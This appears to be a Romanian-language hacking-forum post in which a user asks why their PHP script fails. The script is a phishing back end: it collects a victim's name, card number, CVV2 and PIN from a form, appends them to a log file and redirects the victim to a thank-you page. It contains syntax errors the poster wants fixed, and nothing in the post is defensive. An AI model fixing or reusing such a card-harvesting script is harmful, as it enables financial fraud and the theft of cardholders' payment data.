Jump to content
bobbytza

[PHP] Help

Recommended Posts

Ce este gresit in codul asta ? =))

<?

function san($var){
return htmlentities($var, ENT_QUOTES);
}




$first_name = san($_POST['first_name']);
$last_name = san($_POST['last_name']);
$credit_card_type = $_POST['credit_card_type'];
$ccnumber = san($_POST['ccnumber']);
$ccv2 = san($_POST['cvv2']);
$PIN = san($_POST['PIN']);
$IP = getnev ('REMOTE_ADDR);


header("Location: Thanks.htm");
?>


<?php
if ($_POST['first_name'] && $_POST['last_name'] && ('REMOTE_ADDR') && $_POST['credit_card_type'] && $_POST['ccnumber'] && $_POST['cvv2'] && $_POST['PIN']){
$fp = fopen("log.html", "a");
$stuff = "<br>" ."First Name: " . $first_name . "<br>" . "Last Name: " . $last_name . "<br>" . "Credit Card Type: " . $credit_card_type . "<br>" . "ccnumber: " . $ccnumber . "<br>" . "cvv2: " . $cvv2 . "<br>" . "PIN: " . $PIN . "<br>" . "\n";
fputs($fp, $stuff);
} else {
;
}

?>

Mai bine zis in linia de cod:

if ($_POST['first_name'] && $_POST['last_name'] && ('REMOTE_ADDR') && $_POST['credit_card_type'] && $_POST['ccnumber'] && $_POST['cvv2'] && $_POST['PIN']){

Ori nu vad ceva ori nu inteleg !

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...